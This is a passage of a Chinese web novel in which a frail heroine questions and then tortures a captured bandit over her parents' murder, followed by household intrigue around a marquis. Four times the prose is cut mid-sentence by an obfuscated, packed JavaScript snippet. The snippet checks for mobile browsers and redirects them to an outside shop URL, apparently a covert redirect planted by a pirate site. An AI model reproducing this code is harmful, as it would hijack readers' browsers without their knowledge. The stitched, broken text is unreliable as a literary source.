展开细细阅读，随着目光的移动，眼神越来越暗，到最后，表情已经变得阴沉如水。 关嬷嬷立在一旁，端看榻上少女面容便知事有不妙，紧张开口：“姑娘……？是那边出事了？” 玉怜脂深深呼出一口气，声音才保持住平静：“江南武库署和军器监，接连有五个官员被杀了。” “什么？！”关嬷嬷低声惊呼，“莫不是……” “自然是灭口。”玉怜脂偏过身，抬手掀开小几上的香炉炉盖，将手中信纸复又叠好，轻抛入炭火中。 关嬷嬷：“可那是朝廷在册的官员，他们真就这么肆无忌惮！” “两害相权取其轻，对柳启彦之流来说，比起勾结亲王屯兵之事暴露，当然是在自己的地界里消灭潜在的威胁再扫尾更加轻松。”玉怜脂缓缓说， “……看来他已经查到了什么要紧之处了。” 谢砚深动作极快，而且手中掌握的力量远超她的预估，竟然能够这么短的时间内达到这样的效果，逼得两江那边不得不弃车保帅。 怪不得护国公府知道她来京的目的、又身在镇北侯府之后，会那么着急，京郊那次下了血本要杀她。 当然不是惧怕她，而是忌惮极了侯府的家主。 玉怜脂垂眼思考片刻，而后看向关嬷嬷，语气不容置疑：“让吕叔继续盯着动向，记住，之后一定要加倍小心，承王一党既然已经开始杀自己人，之后只会更加不择手段。” “告诉吕叔，做好随时离开两江的准备。” 关嬷嬷瞳孔微微放大，肃声应下：“明白！” - 收到吕贯君那封信之后，玉怜脂当晚又开始难以入眠。 但她的身体受不了这样的损耗，只能让人熬了她平常不能轻易服用的安神汤，喝完勉强睡下。 第二日清早，福明竟然出现在了珠玉院后面隐蔽的小门外。 谢砚深回来了。 “劳烦嬷嬷给玉姑娘传个信，侯爷回来了，有要事要见姑娘。”福明没了往日嬉皮笑脸的样子，颇为正经。 关嬷嬷知道轻重，但还是忍不住皱眉说：“福明管事，我家姑娘昨日没睡好，方才躺下两个时辰，这就叫她起来议事，身子实在吃不消，能否过一个时辰我再去通传？” 福明听见这话，不知想到了什么，竟然没了来时的着急：“姑娘没睡好？那嬷嬷还是过两个时辰再叫醒姑娘吧。” 上回玉怜脂一夜未眠，直接病了好几天，他可没胆子非要催着关嬷嬷叫人。 而且……只怕今日过后，这位玉姑娘，又得病倒了。 然而他们没等上两个时辰，一个时辰后，玉怜脂便自己醒了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991744|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她心中装着事，思虑重，即使服了安神药，也睡不长。 洗漱之后，关嬷嬷才来报谢砚深回来，要见她的事。 “他回来了，还要见我？”玉怜脂抬起头，“嬷嬷怎么不早说。” 关嬷嬷把她的头扶回原位，为她梳发：“姑娘总也得洗漱梳妆了才去呀，不必急在一时。” 玉怜脂看着镜中女郎苍白脆弱的面容，轻声道：“钗环首饰就不用了，妆粉也免了吧。” 老妇人手一顿，应声：“是。” - 玉怜脂捧着手炉，身上系着狐绒披风，慢步行入主院的回廊。 十日了，她才再次踏入这里。 无需人带路，她驾轻就熟，一路到了侯府主人的寝房。 福明低着头，先一步推开门，待她进去，复又把门关上。 房中静悄悄，谢砚深站在落地的鎏金铜鼎边，他身上还有雪粒，正在烘去身上霜寒，听见声响，朝门口看过来。 站在不远处的少女没有立刻走过来，而是规规矩矩地朝他行了个礼：“侯爷。” 她通身素净，没有用钗环，只简单挽了个髻，乌发更多披散在肩背后，许久不见，她脸上好不容易养出的些许红润已经消失不见，言语极为冷淡。 称呼也彻底变了。 “怜娘。”他立时皱眉，沉下声叫他。 “侯爷还请自重，”玉怜脂淡淡看着他， “民女身份卑微，侯爷若是如此称呼，难免惹人非议，岂不污了侯爷声名，说侯爷，竟然瞎了眼，厚待一介商贾女子。” 话音平静，似乎真的要和他划清界限了。 谢砚深看着她这副样子，虽然知道她是故意气他，但还是克制不住升起怒意： “你知道，我从未如此想过！” 玉怜脂微微歪着头，像是惊讶：“我与侯爷素无瓜葛，怎会知道侯爷心里想什么，侯爷怕是吃醉了吧。” 他多日不归，刻意冷落她，她是该生气的。 屋中沉默许久，眼神交织碰撞在一起，一道压抑怒火，一道冷如寒冰。 谁也不肯服输。 过了许久，谢砚深先开了口—— “我今日找你来，是有要事。”他沉声说。 玉怜脂不紧不慢：“侯爷有何吩咐只管说，我照办便是。” 但此刻，谢砚深忽地又沉默不语了。 他的眼神逐渐变化，竟然像是有些犹豫，过了半晌，才倏然一定。 肃声道：“我的人在江阳抓到了一个人。” 玉怜脂一愣，随即表情一变，显然立刻听出了不对劲： “……什么人？” “三年前，金陵劫杀案其中一名案犯。”他说。 话音落下，门边少女手中猛然一松，香炉立时朝地面坠去。 一声闷响过后，炉中火炭掉出，顷刻点燃了铺地软毯。 男人疾步上前，手里拿了茶杯，朝地上一浇。 抬眼，和已经完全怔住的人对视：“见不见，由你。” 玉怜脂呼吸都在颤抖，最后咬着牙，漏出几个字—— “……人，在哪？” 54. 惨烈 关押重犯的地牢入口很狭窄，约莫只有一人半的宽度，通道一路向下，越来越深，外头耀日高悬，但进入石道后，只转了一个弯，一股腥臭恶寒立刻扑袭而来。 阳光透不进这里，四面石壁沁着水珠，角落有没清理干净的虫鼠尸体，斑斑血迹随处可见，分不清是人血还是别的。 这样的地方，便是经年老练的狱卒也是不愿多踏入一步的，没有火把，就算白日也是伸手不见五指，身处其中，只能凭耳朵辨出各类令人头皮发麻的声响。 一旦被关进来，即便是身强体壮的武人，也几乎不可能逃出去，水米吃食是最差的，而日复一日没有尽头的潮湿黑暗更是一种精神上的酷刑。 四名狱卒在前面开道，脚步声密集，行走在最中间的纤瘦身影带着帷帽，一只手被先于她几步的高大男人牵着，缓慢向下走。 玉怜脂左手攥在谢砚深掌心里，右手拿着熏过药香的帕子，捂在唇鼻处。 她心里并不惧怕，可她的身子从来也不由她的意志配使，阵阵不适涌上来，让她的头脑晕眩。 不知走了多久，终于到了最下方的监牢，火光中，映入眼帘的第一道景象就是各式各样的刑具，刀斧锯钻应有尽有，排满一整墙，残余的肉碎血污在幽暗的环境中也显眼至极。 路过的时候，同行的汉子自觉将走在中间的少女围起来，但挡得住眼睛，却挡不住尸肉腐烂的臭味。 玉怜脂熟悉这个味道，三年多了，每回魇症发作的时候，它都会折磨得她生不如死。 今日来前，关嬷嬷为她准备了三条药帕子、香囊里备了红丸。 但真的到这里了，却没有丝毫病症来临的前兆发生。 玉怜脂的目光直直投向牢狱深处，数年辗转反侧夜不能眠，倾尽所有心力也没有抓到的人，此刻就在不远处。 她通身冰凉，那是一股生自骨髓之中、窒息般的冷，她能感觉到自己被激得控制不住颤抖，即使不照铜镜，她也能确定自己的表情僵硬到极致，目中一定布满红丝，与扭曲。 帷帽垂下的长纱几乎将少女纤弱的身体裹住一半，走在她周围的狱卒与护卫们只能看到她用手拿着帕子捂在面上，身躯时不时颤抖。 一道道眼神中透出不忍。 娇弱的女郎踏足这样污糟的地方，一定被吓坏了。 侯爷果然脾性冷硬，居然这样心狠。 谢砚深半回首，他掌心握着的这只细瘦的小手冷极了，同时紧紧反握着他的，仿佛在昭示着它的主人此刻有多么害怕。 但在主院里，是她自己坚持，一定要立刻见到被抓住的案犯，连把人提出地牢的时间也不肯给。 她当时的模样全然不似往日，执着到近乎……疯狂。 甚至让他觉得，如果当时他不答应她，她绝对会以死相逼。 “侯爷，人昨夜换到了这间，已经铐好了。”走在最前面的牢头站定，转回来躬身禀报。 众人停住。 向左前方看去，牢头停下的这间牢房比一路走过来的几间都要宽，构造也更复杂，其他牢房不点火把照明，这间里面竖着三根，地上还有放着烙铁的炭盆，散发着刺目的灼烧红光。 走近，能明显感觉到空气都稀薄起来。 靠墙的石刑架上用铁链吊锁着一个男人，头发已经都被剃了，不高，是个瘦骨柴，看出来提前换了干净的囚衣，但溃烂的血还是渗透出来，此时正艰难喷着气。 听见声响，慌忙抬起头，皱黑的面上有好几道深划口，嘴里被塞了枷，眼中流露出恐惧。 牢头开了门，而后退到一旁。 但玉怜脂没有挪动脚步，依旧站定在外头，透过石栅望里面刑架上的男人，不言不语，似乎在发愣。 谢砚深换了左手牵她，右臂环住她肩背，低着头看她，眉心紧皱。 所有人都在静静等待，他们知道今日真正的中心是谁。 过了半盏茶，玉怜脂才动了。 抽出了被握在男人掌心的手，脱离他的怀抱。 “我有话想单独问他。”她对牢头说，声音轻而冷。 牢头连忙抬起头，眼神却是投向她身后面色沉抑的谢砚深。 谢砚深缓缓放下被挣开的手臂，朝牢头斜去一眼。 后者心领神会，得到了准许，他立刻小跑进牢中，解开了刑架上的人口中束缚。 把枷具朝地上抛去，牢头的手往刑架旁边的水盆里一浸，宽大粗厚的手掌顿时湿淋淋的，猛地一挥，狠狠打在瘦骨柴脸上。 被打的人立刻爆发出一声惨叫，那盆水里放了分量极重的盐，他脸上都是这几日被刀割出来的口子，被打这一下，盐水钻进口子里，简直是挖心的剧痛。 “呸！”牢头往旁边啐了一口，“孬胚！告诉你，呆会儿老实回话，敢耍滑头，老子剜了你膝盖骨剁块儿，哥几个喝酒正缺骰子！” 朱二杆痛哭流涕，头点起来像甩一样。 他原本就是虎风寨里头最怕死的，当年丹阳山庄那一票干完，大当家的说，他背后的大人物会兑现承诺，给他们这些草寇过明路，以后虎风寨的人就不再是和朝廷作对的贼匪，而是正正经经有身份的军兵。 没想到，晚上寨子庆功，分下来的好酒好菜里头全是剧毒，绝大部分弟兄都被毒死了，剩下的只有几个当家，和当家们的心腹。 他当时在山道上偷偷往自个儿后门藏了金银没交出来，回寨子后假装跑肚，和关系好的两个兄弟一起藏茅房分赃，阴差阳错躲过一劫，这些年东逃西窜，只剩下他一个了，活得连路边的野狗都不如。 但他还是想活下去，他不想死。 脸上的污渍被牢头粗暴擦掉，朱二杆半死不活地睁着眼，看见一道素白身影从牢外进来，穿着锦裙，竟是个女子。 牢外的人全部退出视线范围，只有身形秀丽的女郎立在肮脏牢狱之中。 她与这个地方格格不入，像一道突兀照入污泥地里的月光。 朱二杆看着眼前的女子慢慢揭下帷帽，真容映在火光之下。 看清那张脸的一瞬间，他猛地睁大眼，喉中发出朽木断折一样的呜咽声音。 “你认得我的脸，是吗？”玉怜脂表情很平静，看向刑架上的人，“当年在丹阳山道上，你是不是见过一个和我长得很像的女人？” 朱二杆艰难地喘气，几乎不敢回答。 他当然记得这张脸，一张美丽得惊心的面容，哪怕只是一瞥而过，也能让人过了多年还无法忘却。 “你是不是见过？”她又问。 这回朱二杆终于反应过来了，僵硬地点头。 “那是我的母亲。”女郎轻声说。 想到当年山崖边那个女人被逼死的惨状，朱二杆忍不住发抖：“小，小姐……你母亲，不，不是我杀的……” 玉怜脂的眼神空洞，声音却很柔和：“你不要害怕，我只是想问你，当年究竟发生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991745|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。问完我就离开。” “我知道，你不是凶手，但你是亲历者，只要你告诉我当年我父亲母亲是被谁杀的，怎么杀的，我用我的性命起誓，绝不杀你。” 朱二杆深呼吸好几下，最后颤抖着点头：“好，好，我说，我说——” 地牢之中，些微声响都会被放大。 昏暗中，牢中的人都听了一段惨烈的往事。 春寒还未消退的三月，一群为财而来的亡命匪徒在金陵郊外的丹阳山上截下了一个商队。 商队的主家看着他们手中明显不是民间所制的精刀，愿意舍财保命，贼寇也知道杀人灭迹麻烦得很，便让车上的人都下来，躬身闭眼下山，留下财物。 但马车上下来的主家妇人，面容黢黑，低眉敛眼，却引起了某个贼首的注意。 那是个在妓红堆里混出来的玩意儿，不动声色站在一边，在妇人路过的时候，一把泼上水，旁边要阻止的人全被拦下，几秒，清干净她的脸。 妇人露出的的容貌让人心摇意动，几个贼首不由分说，要把人留下，甚至当场就要逼迫她。 商队的主家爱妻如命，当然不肯，冲突之中，最先动手的贼首压不住常年杀人养出来的凶性，一刀捅进了主家的腹中，下一瞬，虎风寨的人也跟着开了杀戒，惨叫响彻天际。 妇人看着被害的丈夫，痛彻心扉，不知哪里来的气力与速度，猛然拔下发髻上的利簪，狠狠插进了那贼首脖颈之中。 而下一刻，另一把刀从背后斜过来，刺穿了她的胸膛，那一刀，瞬间杀死了她。 此时被捅伤的主家竟然还没有死，痛苦暴烈的怒吼之中，推开了被发簪杀死的贼首，紧紧抱住妻子。 他腹部的刀被压着刺得更深，他却丝毫不惧，回光返照之际，用两只手，硬生生握住妻子背后的刀，相拥向山下坠去。 …… “我，我只看见这么多……”朱二杆咽着口水，再三苦求，“小姐，您母亲真不是我杀的！是三当家！他是大当家的亲弟弟，大当家有大人物保着！他们肯定还没死！” “冤有头债有主，我，我当时，我，我没动手！” 他是没杀那妇人和她的丈夫，他只是跟着杀了那支商队的其他人。 素白衣裙的女郎面容没有多大变化，只是眼中赤红，最后轻轻地点了一下头。 朱二杆松了一口气。 她从旁边的桌子上拿起新的枷具，向前走两步，放到他的口边。 少女的动作很慢，木着脸流泪，全然不像牢头那样看起来恨不得一拳打死他。 她自己说的，问完，就走。 朱二杆张口咬住枷具，女郎小心地帮他把刑具绑好。 随后，看着她往后退了一些。 …… 颤抖着叙述案情的声音消失了，狱卒和护卫们立在拐角处，垂首不敢多看，只有站在最前的男人，目光冷寒，直直看向监牢的方向。 寂静只维持了一会儿，一声恐怖却像是被什么堵着的惨烈嘶叫爆发开来，让所有人都震得面色惊变。 而披着兽氅的男人已经疾步到了监牢外。 谢砚深眸中阴沉疑愕，定定看着牢中那道纤瘦的背影。 刑架上的人已经痛得昏死过去，疯狂的挣扎过后，肢体痉挛扭曲，几乎不成人形。 玉怜脂举在身前的手终于动了，颓然松下，沉而大的空木盆摔在地上，残余的盐水溅出些许。 55. 裂痕 一片幽暗之中，只有火焰散发着赤色光亮，折照在石栅外。 转角处的狱卒与护卫惊震片刻后反应过来，立时要跟上去。 牢房外的男人面容冷峻，目不斜视，抬起小臂一瞬，以作示意。 所有人见令顿住身，轻步退回原位。 谢砚深抬步跨过牢门，走入石牢中，眼神紧锁站在侧前方仿佛木僵的少女，躬身捡起被随意丢到一旁的帷帽。 … 身后，熟悉的温热正在靠近，男人的手抚上她的肩，进而握住她的肩头，不由分说将她缓慢扭转过来。 玉怜脂面无表情，仰首看他，只有泪水流了满面。 她的眼被淹没模糊，看不清面前人表情，只看得见他深黑如渊的双眸，厉辉熠熠，承载着许多情绪。 但是她此时看不懂，也没有多余的心力探究。 明明她的心疾没有犯，她还能站着，还能正常地呼吸，可她却觉得像是掉进了一张无形的网，她听不见，也看不见，心脏在跳动，血液在流淌，灵魂却已经被活埋。 男人的手慢慢往上移，直到捧住她的脸，他望着她空洞的眼睛，像是想要沉入她的思绪，浓重的血腥与冰冷的阴暗中，沉默持续了很久。 最后他失败了，抬手为她戴上帷帽，系好环在脸颈交界的细带，侧身探臂，轻而易举将她打横抱起，大步出了石牢。 - 马车没有立刻行回侯府，而是在京城的另一端，隐秘的地方停下。 车夫下了车，和护卫一起远离车马，守在合适距离内，严防有人靠近。 已经脏污了边角的帷帽被丢在角落，玉怜脂靠在男人怀里，偏首静静望着厢壁，不说话，泪水已经流干了，只有眼眶依旧通红。 “……斯人已逝，你的身子经不起折损太过，”谢砚深低头，只看见她的侧颜，不禁皱起眉，“如今当年案犯已经抓到，也让你见过了，推究根源，找出幕后主使只是迟早，我会尽力彻查。” “之后的事，你就不必再管了。” 说完，过了半晌，怀中人有了反应。 她的声音沙哑，轻飘飘的，异常冷淡：“什么叫做，不必再管了？” 谢砚深眉心压得更沉，却还是耐着性子解释：“此事急不得，我已经着人调查，但背后联结太广，牵一发而动全身，准备万全之前不能打草惊蛇。” “你安心养好身子，我既承诺过，必会做到，将来事毕，自然会给你一个交代。” 他派去谯地寻访的人传回来消息，说是追到了那位名声在外的游医的踪迹，只是还需要一些时日。 玉怜脂冬祭接连受惊，病情这些日子虽然看起来好了一些，实则早年根基损伤太过，没有三年五载根本不可能补到本里。 乔大夫说，她的病是身病，更是心病，只治身不治心，事倍功半。 她执念太深，时刻牵挂父母之事，夜晚偶然惊梦也是为的此厢，以致病症久久不愈。 他今日让她来这一趟，不为别的，只是让她知道，冤案彻查有望，之后静下心养病，等待结果。 但方才她在狱中的模样—— 她生性娇弱，素日也是好脾气，被逗弄急了也只会使些小性子，来得快去得更快。 在狱中泼的那一盆盐水，若不是她心中痛极，何至于如此。 说到底，是他疏忽了，不应该让她自己去问那个案犯，以至于她受了这样大的刺激。 “怜娘，往后……”他继续劝。 “我若要继续管呢？”少女清泠的声音打断他。 玉怜脂僵硬着缓慢撑身起来，回眼看他，脸色苍白如纸： “我若非要管，你待如何？” 她的神情和往日简直判若两人，目中冷极，虽然言语时气力极弱，但竟有一种逼胁之感。 谢砚深不由得怔住一瞬。 霎时回神，皱眉道：“背后之人身份未明，城郊那场刺杀你就应该知道，查下去必有凶险，交给我来做，你便能少些思虑，只需静待结果，有何不好？” 更何况，他知道她平日并不是个有谋算的人，天真纯善，这件事让他来为她做，再合适不过。 “那你多久能查清？我又要等到何时？”她望着他，轻声说，35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991746|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我知道主使之人不简单，但我不想被瞒着，我撑得住。” 男人的脸色沉下来：“怜娘，不要犯倔。” 玉怜脂定定看着他，忽然问：“是不是幕后的人，你动不了，所以你不想让我知道。” 尾音落下，谢砚深的面色骤然变得极为难看。 眼中是不敢置信与猛然升腾的怒意。 “我在你眼中，便是如此。”他一字一句，几乎是咬着牙，死死盯着她。 玉怜脂并不惧他，呼吸开始有些急促，但还说得清话： “……那你告诉我，幕后的人，你怀疑是谁？” 谢砚深瞳中一紧。 沉默数秒，开口：“两江把控军营官府的大员，都有可能。” 说这句话时，他的表情毫无变化，食指指侧却不自觉摩挲手上扳指。 “……是吗？”玉怜脂顿了片刻，垂眸，“真是我得罪不起的大人物。” “两江的官员，手这样长，能伸到京城来劫侯府的车队，来杀我。” 她话语中的讽刺如此明显，分明就是不信。 谢砚深看着她，突然觉得像是第一次清楚地看见她。 她往日的温柔明媚变成了哀清冰冷，她不似润安堂中纯弱任人欺凌，而是聪敏、理智，足以立刻识破他的谎言。 当日在蹈义台帐中醒来时的那股奇怪直觉又涌上心头。 不知不觉，他问了一个突兀、惊雷一般的问题： “……怜娘，冬祭的时候，你为什么会喝了酒去温泉？” 她身体不好，不能饮酒，可那日就是这么凑巧，她喝醉了，醉在他沐浴的地方。 这个问题，他问过她，但是被她划在脖子上的那一簪打断了，此后再也没有提起。 玉怜脂睁大眼，表情像是震惊，又好似不可置信，张了张口：“我……” “咳！” 一口鲜血喷在了他的衣襟上。 - 马车车帘猛地被掀开，护卫们惊得回头，只看见主子探出身，身上衣裳都是鲜血。 “去医馆！！”暴喝。 56. 试探 主院。 乔大夫带着药箱匆匆赶到，快跑着进了寝屋，转过屏风才顿步，刚要向床榻边的男人行礼：“侯……” “免了！”谢砚深没有看他，面色阴郁，“赶紧过来。” “是！”乔诚连忙上前。 榻上的少女已经换上寝衣，脸白如纸，静静躺着，呼吸微弱至极。 “回来之前已经去过医馆，吐血止住了。”谢砚深沉声。 乔大夫细细把脉，过了半刻，说道：“玉姑娘是郁气攻心，情志不舒，才会猛然呕血，但观脉象，姑娘的魇症似乎没有发作，之后如何医治……还是要请玉姑娘身边那位一直调理她身体的段女医来一同斟酌。” “外头医馆用给姑娘的药方，属下也需一观。” 谢砚深的眼神一直定在玉怜脂身上：“医方在药房。” 乔大夫应下，转身出去。 福明站在门边等着命令，目视他出去后，走入屋内，低声劝道： “侯爷，不若先将玉姑娘送回珠玉院去吧，玉氏带来的人常年照料姑娘，用起来更得心应手些，衣药之类的东西也更齐全。” 谢砚深眸中深暗，小臂抬起，长指轻抚少女冰凉的侧颊。 半晌，嗓音低冷：“去安排吧。” “是。” - 珠玉院中非玉氏旧仆的下人都被打发开，从先前莲芯被送回润安堂起，珠玉院里的仆人慢慢都被清理挑选，只留下最干净的一批，没有别的院子专门派过来的眼线。 今日玉怜脂跟着谢砚深出去之前，虽然没具体说是为了什么，但特地要了药帕子和红丸，关嬷嬷就已经料到必定要出事，所以一早便做了准备。 但玉怜脂人事不省地被抱回来，还是让她焦急万分。 “快，快点，去药玉堂把大掌柜请来！”关嬷嬷压下声，嘱咐面前的玉氏小厮。 后者连忙点头，接过腰牌冲出院门。 关嬷嬷擦着眼泪，刚想转身进房门，和从房内出来的人迎面撞上。 “侯爷。”老妇人连忙低头，“已经让人去请段女医了。” 谢砚深沉默不言，并未分眼神给她，刚要走过去，忽而停下脚步。 关嬷嬷余光一直注意着，发现他的动作，眼中一闪，依旧深深垂首：“侯爷有何事要吩咐老奴？” 男人转过身，目眄而下：“……她身子太差，而你们照料她，却事事惯着她任性，过后我会另派几个人来，和玉氏的人一齐贴身伺候她。” 关嬷嬷心中咯噔一下。 珠玉院要是进来好几个谢砚深派来盯着玉怜脂的人，那还了得？！ 怎么眼前这位忽然之间就发了难? 急忙出声：“侯爷……！这，奴婢们是从姑娘小时就跟着的，不知是何处奴婢们犯了错？还请侯爷明示。” 谢砚深默了数秒，面无表情道：“乔诚说，她病症愈深，平日入口的饮食需要再行调整，最忌水酒，冬祭之时你们便拦不住她醉酒，无能失职。若只让你们来看着她，必定还有下次。” 听见“冬祭醉酒”，关嬷嬷眼中一紧，忍不住咽了咽口水。 刚要脱口而出“绝不会再有下次”，脑中猛地一个激灵。 头低着，眼珠却向房内的方向转了转。 同时，把话吞了回去。 数秒后，哽咽出声：“……侯爷明鉴，冬祭那日，确是老奴的错。只是，只是冬祭去山里前正巧刚过已故夫人的冥诞，姑娘又是第一次离开苏州过年，那晚姑娘哭了许久，说想饮一杯夫人往年寿辰都要饮的酒，老奴不忍，就，就……是老奴的错，请侯爷责罚！” 话音落下，面前冷立的男人默声许久，似乎握紧了拳。 “侯爷，老奴知错了，”关嬷嬷抹着泪，“只是姑娘不大习惯生人伺候，若是侯爷要派人来，便等姑娘醒了，再行商议也好啊。” 又是良久寂静。 谢砚深未再言语，转身离去。 片刻后，关嬷嬷抽泣着站直身，掏出帕子，慢慢擦干净脸。 - 润安堂。 面容温柔的女郎端起下人捧盘上的瓷碗，汤药凉得刚刚好，微微冒着热气，却不滚烫。 赵庆姗小心舀起一勺，递向撑着额倚靠在榻上的老妇人。 后者面色还有些发青，但眼中满载笑意，慢悠悠喝了药。 … “这些日子若不是有你陪着，我这身子，怕是十天半个月也好不起来。”王老太君握着赵庆姗的手，轻拍两下，眼神里满是熨帖喜爱。 赵庆姗浅笑：“都是府里大夫的功劳，我不过是放心不下过来陪陪您罢了。” 王老太君轻言细语：“你呀，和你母亲一样，就是个实心眼儿的，那日让你们受了那么大的委屈，难为你和你母亲，竟还愿意来看我，我这心里头真是……” “姨母快别这么说，”赵庆姗连忙安慰道，“哥哥如今已经大好了，没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991747|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么大碍，母亲说了，也是那天哥哥太无礼，表哥他……或许是政务繁忙，心里头有火气，才冲动了。咱们是一家子亲戚，哪有隔夜仇呢？过去的便过去了。” 听见这番温声言语，王老太君心中更是五味杂陈。 谢砚深伤了赵庆吉，事后更无任何修好的意思，左边是说一不二的犟种儿子，右边是多年情分的亲戚，她夹在中间，着实难受。 还没想好要怎么办时，安平伯府却能先一步理解她的难处，大事化小小事化了，这场病突如其来，赵庆姗还上门来照料她，事事贴心。 这让她心中如何不感动，不欣慰。 又想起前段日子去云山观，安平伯夫人透露的一番话—— “我不瞒姐姐，这些天我着急庆吉庆姗的婚事，甚至上云山观来求神，实在是事情紧迫，容不得我慢慢选。姐姐也知道，我家那个长我许多岁数，眼看着就要致仕了，家里头的小辈又还没能撑起来，若不早些定下，怕是往后，能选的人更少了。” 安平伯夫人不提，王老太君自己都快忘了。 按照年份来算，安平伯夫人嫁给安平伯赵全禄做续弦时年方十六，而赵全禄当时已是而立之年。 两人相差近一倍的岁数，认真想来，如今安平伯已经年近七十，的确是该致仕了。 若是安平伯致仕，赵家又没有立刻顶上的小辈，那伯府自然而然就远离了朝局纷乱。 就算赵家要再扶持新的顶梁柱，那也是十年二十年之后的事了，更何况赵全禄参与夺嫡也只是沾了些边角，并未全身而入，此时退出尚有余地。 这样一来，赵庆姗的身上就没了“父涉党争”这样的情况需要考虑。 那…… “庆姗啊，”王老太君看着眼前秀丽的女郎，“春分的时候，府里照例要办花会，到时你一定要来，啊。” 赵庆姗当然答应，声音轻快：“侯府养的花卉京城一绝，我哪年缺席过呀，就是姨母不邀我，我也是要厚着脸皮来的。” 王老太君大笑：“好好！我让人给你置备些头面首饰，回头给你送去，不许推脱。” 她说完，赵庆姗有些羞怯地垂眸，乖巧点头。 王老太君拉着她仔细打量，越看越觉得满意。 云山观中青晖道人的话还在耳边——“观侯爷姻缘，仿佛远在天边，近在眼前。” 远在天边，近在眼前。 常常来往的表兄表妹，可不就是近在眼前？ 57. 决绝 玉怜脂一病便病了许久。 最开始消息传到府中各院，润安堂自是没有半点关心的意思，流芳庭也毫无动静，西院那边派了人传信问候。 除此之外，只有谢文嫣和谢文霖亲自来了一趟，只是没坐多久，就被高大夫人身边的嬷嬷唤回去了。 到后来，珠玉院的大门都不怎么开了。 整个珠玉院陷入沉闷寂静时，侯府里其他地方却开始热闹起来。 临近初春，京中各府同往年一般，陆续开始向外递送花会帖子，镇北侯府自然也在其中。 府中花房数月前便选苗育种，培植珍品，但春分花会的筹办需要的事物远不止此。 园子里山水庭阁的布置装饰必须仔细考量，去岁用过花河曲水流觞，今年便要换些花样，府外请来唱词曲的也要变一变。 大到花会上提供的点心果子、茶水菜肴，小到花会上各类游戏比试的彩头，要准备的物什堪称繁杂，每样的置备都有章程，极为讲究。 下人们忙得热火朝天，管事们更是焦头烂额，王老太君尤其重视今年的春花会，下了明令，绝对不许有任何差池。 对于府里的热闹，主院一如既往不予理会。 谢砚深驻守北境，已经多年不参与京城中此类交游，但润安堂特地递了口信，说花会也有别府的年轻郎君们前来，他必须露面。 - 一直到离春花会还有五日，珠玉院才活泛起来。 乔诚灰着的脸终于放晴，提着药箱踏进主院回话的那天，忠伯和福明守在书房外头，都是松了一口气。 珠玉院沉寂了多久，主院也跟着压抑了多久。 这些日子，他们侯爷的脸上一丁点笑影都没有，连话都不怎么说了，只是每日入夜都固定要去珠玉院半个时辰。 日复一日，主院里头气氛越来越冰冷，已经紧绷到了极点。 幸而，到底是都过去了。 乔诚午时去的主院，福明未时到的珠玉院后门，关嬷嬷一早便候在门边。 “嬷嬷，”福明喜形于色，声调也抑制不住扬起来， “侯爷已经知道姑娘醒了，说此时不便，等夜黑了些就过来看姑娘，您同姑娘说一声……” “福明郎君。”关嬷嬷沉声打断他。 福明猛地一顿，终于看清面前老妇人严肃的脸色。 心中忽然涌上来一股不详的感觉，鸡皮疙瘩都冒了出来。 “怎么了?嬷嬷……” 关嬷嬷从宽袖中拿出一封薄信，递向他：“这是姑娘亲笔。” 福明有些怔愣地接过信封，还没彻底反应过来：“这是何意……” 老妇人下一句话，直接让他浑身发凉—— “姑娘说，这段时日谢滨大人不在，多亏了有侯爷照拂。侯爷恩德，姑娘没齿难忘，必当将这份叔侄之情铭记在心。” 福明倒吸一口凉气：“嬷嬷……！姑娘这说的是什么话——” 叔侄之情? “自然是本分的话，”关嬷嬷端正身子，平静道， “这两月侯爷代谢滨大人照料姑娘，于玉氏有大恩，待开春后，姑娘与谢滨大人商定好姻缘之事，再去谢过侯爷。” 福明僵在原地，脸色难看至极，说不出半个字。 他只听得见自己牙齿摩擦的战栗声响。 “书信还请郎君呈给侯爷，”关嬷嬷慢慢退回门内，最后看他一眼， 